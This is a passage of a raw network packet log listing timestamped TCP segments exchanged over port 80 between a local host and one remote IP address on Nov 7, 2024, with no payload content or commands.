Nov 7, 2024 06:01:25.087224007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087240934 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087243080 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087253094 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087260962 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087270975 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087276936 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087285042 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087296009 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087307930 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087307930 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087327003 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087332964 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087347031 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087348938 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087359905 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087371111 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087382078 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087388992 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087389946 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087404966 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087416887 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087420940 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087430954 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087445974 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087469101 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087491035 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087507963 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087517977 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087524891 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087537050 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087549925 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087549925 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087559938 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087563992 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087578058 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087578058 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087589979 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087596893 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087603092 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087615013 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087621927 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087635040 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087645054 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087646961 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087662935 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087670088 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087685108 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087687969 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087698936 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087711096 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087711096 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087724924 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087732077 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087737083 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087749004 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087776899 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087791920 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087816000 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087826014 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087831020 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087852001 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087865114 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087933064 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087944031 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087963104 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087970018 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087974072 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087975979 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.087992907 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.087999105 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088006020 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088011980 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088017941 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088031054 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088038921 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088048935 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088052034 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088057041 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088063002 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088073969 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088074923 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088087082 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088089943 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088099003 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088110924 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088139057 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088155031 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088166952 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088179111 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088197947 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088213921 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088232040 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088270903 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088284016 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088296890 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088310003 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088310957 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088321924 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088324070 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088337898 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088354111 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088382959 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088399887 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088413000 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088423967 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088438034 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088474035 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088504076 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088515997 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088534117 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088536024 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088546991 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088560104 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088566065 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088571072 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088581085 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088584900 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088597059 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088618040 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088635921 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088644028 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088680983 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088710070 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088745117 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088747978 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088783026 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088943958 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088967085 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088979959 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.088982105 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.088990927 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089003086 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089004040 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089015007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089025021 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089030027 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089031935 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089040041 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089051962 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089063883 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089066982 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089075089 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089085102 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089087963 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089099884 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089112043 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089112997 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089124918 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089140892 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089142084 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089154959 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089164019 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089167118 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089178085 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089184046 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089189053 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089201927 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089212894 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089225054 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089230061 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089241982 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089250088 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089251995 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089266062 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089270115 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089277983 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089288950 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089296103 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089313030 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089324951 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089332104 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089337111 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089351892 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089355946 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089368105 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089380026 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089385986 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089390993 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089411974 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089416981 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089428902 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089436054 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089441061 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089458942 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089464903 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089478016 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089488983 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089488983 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089504957 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089514971 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089518070 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089529991 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089540005 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089540958 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089554071 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089566946 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089576960 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089576960 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089591026 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089595079 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089607000 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089617968 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089626074 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089629889 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089637995 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089642048 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089648962 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089656115 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089660883 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089673996 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089688063 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089705944 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089730978 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089745045 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089782953 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089788914 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089801073 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089826107 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089843988 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089946032 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089957952 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089970112 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089981079 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089983940 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.089993954 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.089998960 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090006113 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090018034 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090018034 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090037107 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090046883 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090050936 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090061903 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090065002 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090078115 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090089083 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090090036 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090105057 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090120077 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090121984 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090132952 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090137959 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090151072 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090162992 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090162992 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090173960 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090186119 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090193033 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090198994 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090214968 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090225935 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090228081 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090239048 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090249062 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090250969 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090262890 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090270042 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090291977 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090326071 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090846062 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090887070 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090902090 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090919018 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.090939045 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.090951920 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091104031 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091121912 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091135025 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091142893 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091145992 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091154099 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091165066 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091175079 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091177940 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091192007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091195107 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091203928 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091214895 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091216087 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091228008 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091238976 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091238976 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091253042 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091254950 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091276884 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091283083 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091288090 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091299057 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091306925 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091321945 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091327906 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091332912 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091346979 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091351032 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091360092 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091371059 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091372013 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091379881 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091383934 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091396093 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091403961 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091411114 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091422081 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091429949 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091445923 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091449022 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091458082 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091469049 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091469049 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091480970 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091487885 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091492891 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091504097 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091504097 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091516018 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091527939 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091531992 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091538906 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091546059 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091552019 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091563940 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091573000 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091576099 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091587067 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091597080 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091604948 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091609955 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091619015 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091623068 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091635942 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091649055 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091654062 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091661930 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091674089 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091684103 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091685057 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091701984 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091701984 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091716051 CET	80	49859	185.215.113.206	192.168.2.4
